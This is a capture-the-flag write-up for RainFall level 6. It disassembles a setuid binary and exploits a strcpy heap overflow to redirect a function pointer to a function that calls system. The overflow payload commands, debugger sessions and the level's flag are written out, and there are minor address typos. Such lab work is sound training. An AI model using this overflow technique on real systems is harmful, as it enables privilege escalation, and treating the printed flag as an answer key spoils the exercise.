LEVEL6:

```
level6@RainFall:~$ ls -la
total 17
dr-xr-x---+ 1 level6 level6   80 Mar  6  2016 .
dr-x--x--x  1 root   root    340 Sep 23  2015 ..
-rw-r--r--  1 level6 level6  220 Apr  3  2012 .bash_logout
-rw-r--r--  1 level6 level6 3530 Sep 23  2015 .bashrc
-rwsr-s---+ 1 level7 users  5274 Mar  6  2016 level6
-rw-r--r--+ 1 level6 level6   65 Sep 23  2015 .pass
-rw-r--r--  1 level6 level6  675 Apr  3  2012 .profile
level6@RainFall:~$ ./level6
Segmentation fault (core dumped)
level6@RainFall:~$ ./level6 coucou
Nope
level6@RainFall:~$ ./level6 coucou toi
Nope
level6@RainFall:~$
```

```
level6@RainFall:~$ getfacl level6
# file: level6
# owner: level7
# group: users
# flags: ss-
user::rwx
user:level7:r-x
user:level6:r-x
group::---
mask::r-x
other::---

level6@RainFall:~$
```

Same process:
Strings:

```
→  Rainfall strings level6
/lib/ld-linux.so.2
Cud<'
<yDt
__gmon_start__
libc.so.6
_IO_stdin_used
strcpy
puts
malloc
system
__libc_start_main
GLIBC_2.0
PTRhP
QVh|
UWVS
[^_]
/bin/cat /home/user/level7/.pass
Nope
;*2$"
GCC: (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
.symtab
.strtab
.shstrtab
.interp
```

Objdump -d:

```
08048454 <n>:
 8048454:       55                      push   %ebp
 8048455:       89 e5                   mov    %esp,%ebp
 8048457:       83 ec 18                sub    $0x18,%esp
 804845a:       c7 04 24 b0 85 04 08    movl   $0x80485b0,(%esp)
 8048461:       e8 0a ff ff ff          call   8048370 <system@plt>
 8048466:       c9                      leave
 8048467:       c3                      ret

08048468 <m>:
 8048468:       55                      push   %ebp
 8048469:       89 e5                   mov    %esp,%ebp
 804846b:       83 ec 18                sub    $0x18,%esp
 804846e:       c7 04 24 d1 85 04 08    movl   $0x80485d1,(%esp)
 8048475:       e8 e6 fe ff ff          call   8048360 <puts@plt>
 804847a:       c9                      leave
 804847b:       c3                      ret

0804847c <main>:
 804847c:       55                      push   %ebp
 804847d:       89 e5                   mov    %esp,%ebp
 804847f:       83 e4 f0                and    $0xfffffff0,%esp
 8048482:       83 ec 20                sub    $0x20,%esp
 8048485:       c7 04 24 40 00 00 00    movl   $0x40,(%esp)
 804848c:       e8 bf fe ff ff          call   8048350 <malloc@plt>
 8048491:       89 44 24 1c             mov    %eax,0x1c(%esp)
 8048495:       c7 04 24 04 00 00 00    movl   $0x4,(%esp)
 804849c:       e8 af fe ff ff          call   8048350 <malloc@plt>
 80484a1:       89 44 24 18             mov    %eax,0x18(%esp)
 80484a5:       ba 68 84 04 08          mov    $0x8048468,%edx
 80484aa:       8b 44 24 18             mov    0x18(%esp),%eax
 80484ae:       89 10                   mov    %edx,(%eax)
 80484b0:       8b 45 0c                mov    0xc(%ebp),%eax
 80484b3:       83 c0 04                add    $0x4,%eax
 80484b6:       8b 00                   mov    (%eax),%eax
 80484b8:       89 c2                   mov    %eax,%edx
 80484ba:       8b 44 24 1c             mov    0x1c(%esp),%eax
 80484be:       89 54 24 04             mov    %edx,0x4(%esp)
 80484c2:       89 04 24                mov    %eax,(%esp)
 80484c5:       e8 76 fe ff ff          call   8048340 <strcpy@plt>
 80484ca:       8b 44 24 18             mov    0x18(%esp),%eax
 80484ce:       8b 00                   mov    (%eax),%eax
 80484d0:       ff d0                   call   *%eax
 80484d2:       c9                      leave
 80484d3:       c3                      ret
 80484d4:       90                      nop
```

Source manually decompile:

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <inttypes.h>

void n()
{
    char s[0x18];

    system("/bin/sh");
    return ;
}

void    m()
{
    char s[0x18];

    puts("Nope");
    return 0;
}

__attribute__((force_align_arg_pointer)) int main(int ac, char **av)
{
    char *s1 = malloc(0x40);
    char *s2 = malloc(0x4);


    s2 = (char *)m;
    strcpy(s1, av[1]);

    uint32_t *func_to_call = (uint32_t *)s2;

    ((void(*)(void))*func_to_call)();
    return 0;
}
```

Raw reverse:

```
int main()
{
        ebp = 0xbffff728;
        esp = 0xbffff710

//      0xbffff72c / (esp + 0x1c) = malloc(0x40) = 0x804a008
        char * s1 = malloc(40); // s1 = 0x804a008     *s1 = *0x804a008 = 0

//      0xbffff728 / (esp + 0x18) = malloc(0x4) = 0x804a050
        char * s2 = malloc(4);  // s2 = 0x804a050     *s2 = *0x804a050 = 0
```

```
//      *(0xbffff728) / 0x804a050 = 0x8048468 <m>
            *s2 = « \x08\x04\x84\x68 »; // <m>

            edx = argv[1]
            strcpy(s1, argv[1]);

//      eax = *0x804a050
            int code = (int)s2
//      call  *(s2)                 (We do Want that 0x805a050 contains
0x0x8048454 <n>)
            return ;
      }
```

We see that **0x805a050** first contains **0** (after the call to malloc(), then address of **func <m> 0x8048468**.
But we also observe that are, during the call of **strcpy**(), argv[1] is stored to **0x804a008**.

Because **malloc()**, if the heap isnt full, allocate on the heap (using brk syscall, and in a certain measure, I guess if the heap just miss few octets to allocate the asked size, the sbrk() syscall is used to extend the heap, but later once the heap is full, mmap() is called and the address return won't be contiguous. But at this point, the heap is empty, that's why **we have contiguous address**).

We allocate **0x40** octet at address **0x804a008**. // *FIRST ADDRESS*
So: from 0x804a008 + 0x40 = **0x804a048**
Then then next allocation return address **0x804a050**, so **8 octets are no used and normally not writable** because we only reserved from **0x804a008** to (0x804a008 + 0x40) = **0x804a048.**
So octet (**0x804a048** and **0x804a049** and **0x804a04a** and **0x804a04b** and **0x804a04c** and **0x804a04d** and **0x804a04e** and **0x804a04f)** are not supposed to be writable.
(But the heap is writable)

But anyway, the exploit is because the strcpy() does not check on **argv[1]** size before copying it to **0x804a008,** lets write all the **0x40+ 8 octets and overwrite at address 0x804a050 with the address of <n> func as content.**
So for that we need to pass as arguments, an hexa chain that contains 0x48 * 0x00 + 0x0x0x8048454.

> gdb:

```
   0x080484c2 <+70>:    mov    %eax,(%esp)
   0x080484c5 <+73>:    call   0x8048340 <strcpy@plt>
   0x080484ca <+78>:    mov    0x18(%esp),%eax
=> 0x080484ce <+82>:    mov    (%eax),%eax
   0x080484d0 <+84>:    call   *%eax
   0x080484d2 <+86>:    leave
   0x080484d3 <+87>:    ret
End of assembler dump.
(gdb) i r $eax
eax            0x804a050        134520912
(gdb) x 0x804a050
0x804a050:      0x08048454
(gdb) ni
0x080484d0 in main ()
(gdb) break n
Breakpoint 7 at 0x804845a
(gdb) ni

Breakpoint 7, 0x0804845a in n ()
(gdb) disas
Dump of assembler code for function n:
   0x08048454 <+0>:     push   %ebp
   0x08048455 <+1>:     mov    %esp,%ebp
   0x08048457 <+3>:     sub    $0x18,%esp
=> 0x0804845a <+6>:     movl   $0x80485b0,(%esp)
   0x08048461 <+13>:    call   0x8048370 <system@plt>
   0x08048466 <+18>:    leave
   0x08048467 <+19>:    ret
End of assembler dump.
(gdb) start $(python -c "print('0'*0x48+'\x54\x84\x04\x08')")
```

./level6 $(python -c "print('0'*0x48+'\x54\x84\x04\x08')")
It worked !

```
Quit anyway? (y or n) y
level6@RainFall:~$ ./level6 $(python -c "print('0'*0x48+'\x54\x84\x04\x08')")
f73dcb7a06f60e3ccc608990b0a046359d42a1a0489ffeefd0d9cb2d7c9cb82d
level6@RainFall:~$
```

The file is recoded for macos x64 bit.
You may execute it on my computer:

gcc -fno-pie t6.c && ./a.out $(python -c "print('0'*0x40+'\x10\x3c\x00\x00\x01')")

t6.c
Code source C
1 Ko

Flag:
f73dcb7a06f60e3ccc608990b0a046359d42a1a0489ffeefd0d9cb2d7c9cb82d